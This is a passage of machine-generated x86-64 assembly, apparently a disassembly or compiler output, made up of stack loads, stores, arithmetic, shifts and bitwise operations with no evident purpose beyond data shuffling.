mov rcx, qword [rsp + 0xa428]
mov byte [rcx], al
lea rax, [rsp + 0x5098]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0x9b38]
mov qword [rsp + 0xaff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaff8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
mov qword [rsp + 0xb000], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x9768]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9598]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x201]
movzx ecx, byte [rsp + 0x289]
and eax, ecx
mov byte [0x1401cc01a], al
mov rax, qword [rsp + 0xa850]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26e], al
lea rax, [0x1401cdad0]
mov qword [rsp + 0xb008], rax
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0x9ea0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x225], al
movzx eax, word [rsp + 0x165c]
mov word [rsp + 0x18a8], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa998]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0xaef0]
mov rcx, qword [rsp + 0xa118]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa830], rax
lea rax, [rsp + 0x4f14]
mov qword [rsp + 0xb010], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5068], eax
movzx eax, word [rsp + 0x16c8]
mov word [0x1401cdba0], ax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xb018], rax
mov rax, qword [rsp + 0xa6c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15d0], ax
mov rax, qword [rsp + 0xa8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24a]
sub eax, ecx
mov rcx, qword [rsp + 0x93c0]
mov byte [rcx], al
lea rax, [rsp + 0x1748]
mov qword [rsp + 0xb020], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4f84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
mov eax, dword [rsp + 0x4f0c]
mov dword [rsp + 0x51ec], eax
mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x91e8]
mov qword [rsp + 0xb028], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb028]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x81f0], rax
lea rax, [rsp + 0x1dc]
mov qword [0x1401cdba8], rax
movzx eax, byte [rsp + 0x284]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0xae40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15d0], ax
movzx eax, word [rsp + 0x1720]
mov word [rsp + 0x18ac], ax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x10c0]
xor eax, ecx
mov word [rsp + 0x1850], ax
mov rax, qword [rsp + 0x96d8]
mov rax, qword [rax]
mov qword [rsp + 0xb030], rax
mov rax, qword [rsp + 0xa660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5104], eax
mov rax, qword [rsp + 0xab98]
mov rcx, qword [rsp + 0x9d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5068], eax
lea rax, [rsp + 0xa968]
mov qword [rsp + 0xb038], rax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cda10]
mov byte [rcx], al
mov rax, qword [rsp + 0x92b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1844]
sub eax, ecx
mov rcx, qword [rsp + 0xa988]
mov word [rcx], ax
mov rax, qword [rsp + 0xab90]
movzx eax, byte [rax]
mov byte [rsp + 0x2cc], al
mov rax, qword [rsp + 0x8f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0xa428]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa10]
mov byte [rcx], al
lea rax, [rsp + 0x9388]
mov qword [rsp + 0xb040], rax
mov rax, qword [rsp + 0xa388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xacf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e6c]
mov dword [rsp + 0x51f0], eax
mov rax, qword [rsp + 0xa218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x503c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ecc], eax
mov rax, qword [rsp + 0xa6c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc042], al
movzx eax, word [rsp + 0x1794]
movzx ecx, word [0x1401cc030]
add eax, ecx
mov word [rsp + 0x151c], ax
lea rax, [rsp + 0x17f4]
mov qword [rsp + 0xb048], rax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x175c], ax
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0x9eb8]
mov rcx, qword [rsp + 0x9f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9720]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafc8]
mov rax, qword [rax]
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9228]
mov qword [rsp + 0xb058], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb058]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9480]
mov rcx, qword [rsp + 0x97c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa230], rax
lea rax, [rsp + 0x16e0]
mov qword [rsp + 0xb060], rax
lea rax, [rsp + 0x268]
mov qword [0x1401cdbb0], rax
movsx eax, byte [0x1401cc063]
movsx ecx, byte [rsp + 0x23e]
and eax, ecx
mov byte [rsp + 0x28d], al
movzx eax, word [rsp + 0x10f8]
mov word [rsp + 0x18b0], ax
mov rax, qword [rsp + 0x9710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9818]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0xa928]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9428], rax
mov eax, dword [rsp + 0x4e6c]
mov dword [rsp + 0x51f4], eax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x5108]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa118]
mov rcx, qword [rsp + 0x9fb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8910], rax
movzx eax, word [rsp + 0x1520]
movzx ecx, word [rsp + 0x1794]
add eax, ecx
mov rcx, qword [rsp + 0x9fc8]
mov word [rcx], ax
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdb48]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1610]
and eax, ecx
mov word [rsp + 0x1838], ax
mov rax, qword [rsp + 0x94e0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ce], al
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x221]
sub eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x8458]
mov qword [rsp + 0xb068], rax
mov rax, qword [rsp + 0xaf48]
mov rcx, qword [rsp + 0x8a10]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9388], rax
mov eax, dword [rsp + 0x51e8]
mov rcx, qword [rsp + 0xa950]
mov qword [rsp + 0xb070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb070]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ff0], eax
lea rax, [rsp + 0x4e4c]
mov qword [rsp + 0xb078], rax
movsx eax, byte [rsp + 0x29b]
mov rcx, qword [rsp + 0xa190]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2ab], al
movsx eax, word [0x1401cc0ac]
movsx ecx, word [rsp + 0x15f4]
xor eax, ecx
mov word [0x1401cc128], ax
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x18b4], ax
movzx eax, byte [rsp + 0x274]
movzx ecx, byte [0x1401cc046]
add eax, ecx
mov byte [rsp + 0x1eb], al
lea rax, [rsp + 0x153c]
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0x9890]
mov ecx, dword [rsp + 0x4f20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5008], eax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0xa488]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x51f8], eax
mov rax, qword [rsp + 0x97c0]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x2cf], al
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1658]
sub eax, ecx
mov word [0x1401cc12c], ax
movzx eax, word [rsp + 0x161c]
movzx ecx, word [rsp + 0x1804]
add eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
add eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c08]
movzx eax, byte [rax]
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1680]
sub eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0x8100]
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0xa0f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0xaab0]
mov qword [rsp + 0xb090], rax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401cc066], al
movzx eax, word [rsp + 0x1728]
movzx ecx, word [rsp + 0x1624]
sar eax, cl
mov rcx, qword [rsp + 0x9a18]
mov word [rcx], ax
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
mov byte [rsp + 0x2d1], al
movsx eax, word [rsp + 0x16c0]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9590]
mov word [rcx], ax
mov rax, qword [rsp + 0xa878]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9100]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
lea rax, [0x1401cd710]
mov qword [rsp + 0xb098], rax
mov rax, qword [rsp + 0x90b0]
mov ecx, dword [rsp + 0x50dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0xafb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a70], rax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0x91a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9600]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x290]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [0x1401cc009], al
movzx eax, byte [0x1401cc06b]
mov byte [rsp + 0x2d2], al
movzx eax, byte [rsp + 0x28f]
movzx ecx, byte [rsp + 0x251]
sub eax, ecx
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0xab68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1550]
add eax, ecx
mov word [rsp + 0x1540], ax
lea rax, [0x1401cda98]
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0x9e20]
mov ecx, dword [rsp + 0x4f74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9310], rax
mov rax, qword [rsp + 0xabd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4de8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eec], eax
movzx eax, byte [rsp + 0xd6]
mov byte [0x1401cd822], al
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xb0b0], rax
mov rax, qword [rsp + 0x98a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20f], al
lea rax, [rsp + 0x168c]
mov qword [rsp + 0xb0b8], rax
mov rax, qword [rsp + 0xaae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xb0c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0c0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8b40], rax
mov eax, dword [rsp + 0x4b94]
mov dword [rsp + 0x51fc], eax
mov rax, qword [rsp + 0xae88]
mov rcx, qword [rsp + 0xadb0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa200], rax
mov rax, qword [rsp + 0xad80]
mov eax, dword [rax]
mov dword [rsp + 0x5200], eax
lea rax, [rsp + 0x1664]
mov qword [0x1401cdbb8], rax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x1348]
xor eax, ecx
mov rcx, qword [rsp + 0xac70]
mov word [rcx], ax
lea rax, [rsp + 0x213]
mov qword [rsp + 0xb0c8], rax
movzx eax, byte [rsp + 0x2d1]
mov rcx, qword [rsp + 0xaaa8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa090]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a8]
and eax, ecx
mov rcx, qword [rsp + 0x9708]
mov word [rcx], ax
lea rax, [0x1401cd720]
mov qword [rsp + 0xb0d0], rax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xaf40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa030], rax
lea rax, [rsp + 0x5130]
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xa6f0]
mov rcx, qword [rsp + 0xa1d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xae10], rax
mov rax, qword [rsp + 0x96a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9540]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd890]
mov byte [rcx], al
movsx eax, word [rsp + 0x1784]
movsx ecx, word [0x1401cc044]
add eax, ecx
mov rcx, qword [rsp + 0xa680]
mov word [rcx], ax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0xb0e0], rax
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac58]
mov word [rcx], ax
lea rax, [rsp + 0x157c]
mov qword [rsp + 0xb0e8], rax
mov rax, qword [rsp + 0xa9d8]
mov ecx, dword [rsp + 0x50a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8360]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov dword [rsp + 0x5204], eax
mov rax, qword [rsp + 0xa1d0]
mov rcx, qword [rsp + 0xad50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa478], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0xa290]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401cc01a], al
lea rax, [0x1401cd988]
mov qword [rsp + 0xb0f0], rax
movzx eax, word [rsp + 0x164c]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0xaea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x210], al
lea rax, [0x1401cc008]
mov qword [rsp + 0xb0f8], rax
mov rax, qword [rsp + 0xa6e0]
movzx ecx, al
mov rax, qword [rsp + 0x80a0]
shl rax, cl
mov qword [rsp + 0xb050], rax
mov eax, dword [rsp + 0x4968]
mov dword [rsp + 0x5208], eax
mov rax, qword [rsp + 0x92e0]
mov rcx, qword [rsp + 0x98d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c28], eax
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
mov qword [rsp + 0xb100], rax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x157c]
add eax, ecx
mov word [0x1401cc130], ax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x29a]
add eax, ecx
mov byte [rsp + 0x2d0], al
mov rax, qword [rsp + 0xb0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1554]
sub eax, ecx
mov rcx, qword [rsp + 0x9950]
mov word [rcx], ax
movzx eax, byte [rsp + 0x21f]
mov byte [rsp + 0x2d3], al
movzx eax, byte [0x1401cc032]
movzx ecx, byte [rsp + 0x28e]
sub eax, ecx
mov byte [rsp + 0x266], al
lea rax, [rsp + 0x8ff8]
mov qword [rsp + 0xb108], rax
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x4de8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x51b4], eax
mov rax, qword [rsp + 0xa848]
mov rcx, qword [rsp + 0xa4e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4f8]
mov ecx, dword [rsp + 0x4e60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c9c], eax
movzx eax, byte [rsp + 0x288]
mov rcx, qword [0x1401cd868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22a], al
lea rax, [rsp + 0x2cb]
mov qword [0x1401cdbc0], rax
mov rax, qword [rsp + 0xa908]
movzx eax, word [rax]
mov word [rsp + 0x18b8], ax
mov rax, qword [rsp + 0xb080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17dc], ax
movsx eax, word [rsp + 0x1608]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0xa6a0]
mov qword [rsp + 0xb110], rax
mov eax, dword [rsp + 0x51fc]
movzx ecx, al
mov eax, dword [rsp + 0x50e4]
sar eax, cl
mov dword [rsp + 0x51c8], eax
lea rax, [rsp + 0xa830]
mov qword [rsp + 0xb118], rax
mov rax, qword [rsp + 0xb0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d4], al
movzx eax, word [0x1401cc10c]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cdab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1688]
and eax, ecx
mov word [rsp + 0x1520], ax
movsx eax, byte [rsp + 0x1e6]
movsx ecx, byte [0x1401cd7ec]
sub eax, ecx
mov rcx, qword [rsp + 0x92a8]
mov byte [rcx], al
lea rax, [rsp + 0x205]
mov qword [rsp + 0xb120], rax
mov rax, qword [rsp + 0x9ae0]
mov rcx, qword [rsp + 0xa238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88e8], rax
lea rax, [rsp + 0x51f8]
mov qword [rsp + 0xb128], rax
mov rax, qword [rsp + 0xa818]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0x9428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0x9f20]
movzx eax, word [rax]
mov word [rsp + 0x18bc], ax
mov rax, qword [0x1401cd878]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
add eax, ecx
mov byte [0x1401cc07b], al
movsx eax, word [rsp + 0x1750]
movsx ecx, word [rsp + 0x12e8]
imul eax, ecx
mov word [rsp + 0x17d4], ax
lea rax, [0x1401cd820]
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xae50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x93b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8360]
mov rcx, qword [rsp + 0x8ab8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab10], rax
lea rax, [rsp + 0x51c4]
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xa288]
mov ecx, dword [rsp + 0x5114]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x504c], eax
lea rax, [rsp + 0x9e60]
mov qword [rsp + 0xb140], rax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
mov rcx, qword [0x1401cdad8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9590]
mov word [rcx], ax
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x164c]
xor eax, ecx
mov rcx, qword [0x1401cdaf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2af]
or eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x2d5], al
movzx eax, byte [rsp + 0x207]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x22c], al
movzx eax, byte [rsp + 0x2cf]
mov byte [rsp + 0x2d6], al
mov eax, dword [rsp + 0x4f1c]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov dword [rsp + 0x51dc], eax
mov eax, dword [rsp + 0x4ffc]
mov dword [rsp + 0x520c], eax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xae18], rax
mov rax, qword [rsp + 0x9dc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x9e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25b]
add eax, ecx
mov byte [0x1401cd7de], al
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x18c0], ax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
lea rax, [rsp + 0x230]
mov qword [rsp + 0xb148], rax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov byte [rsp + 0x253], al
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x83c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1b8], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b7c], eax
mov eax, dword [rsp + 0x4e6c]
mov ecx, dword [rsp + 0x4f54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9548]
mov dword [rcx], eax
lea rax, [rsp + 0x92d0]
mov qword [rsp + 0xb150], rax
movzx eax, word [rsp + 0x1040]
mov word [0x1401cdbc8], ax
mov rax, qword [rsp + 0xa530]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9608]
mov byte [rcx], al
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [rsp + 0x1fe]
xor eax, ecx
mov byte [rsp + 0x293], al
lea rax, [rsp + 0x1784]
mov qword [rsp + 0xb158], rax
mov rax, qword [rsp + 0xa2c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaea0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa070]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0xad88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaed0]
mov qword [rsp + 0xb168], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5154]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x505c], eax
mov rax, qword [rsp + 0x8428]
mov qword [rsp + 0xb170], rax
movsx eax, byte [rsp + 0x278]
movsx ecx, byte [rsp + 0x20b]
sub eax, ecx
mov byte [0x1401cc07e], al
mov rax, qword [0x1401cd770]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9da8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa8b8]
mov word [rcx], ax
lea rax, [rsp + 0x266]
mov qword [rsp + 0xb178], rax
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1668], ax
mov rax, qword [rsp + 0x9950]
movzx eax, word [rax]
mov word [rsp + 0x18c4], ax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0xae70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0x93f8]
mov rcx, qword [rsp + 0xa030]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov qword [rsp + 0xb180], rax
mov eax, dword [rsp + 0x4f9c]
mov ecx, dword [rsp + 0x5094]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa288]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17f0]
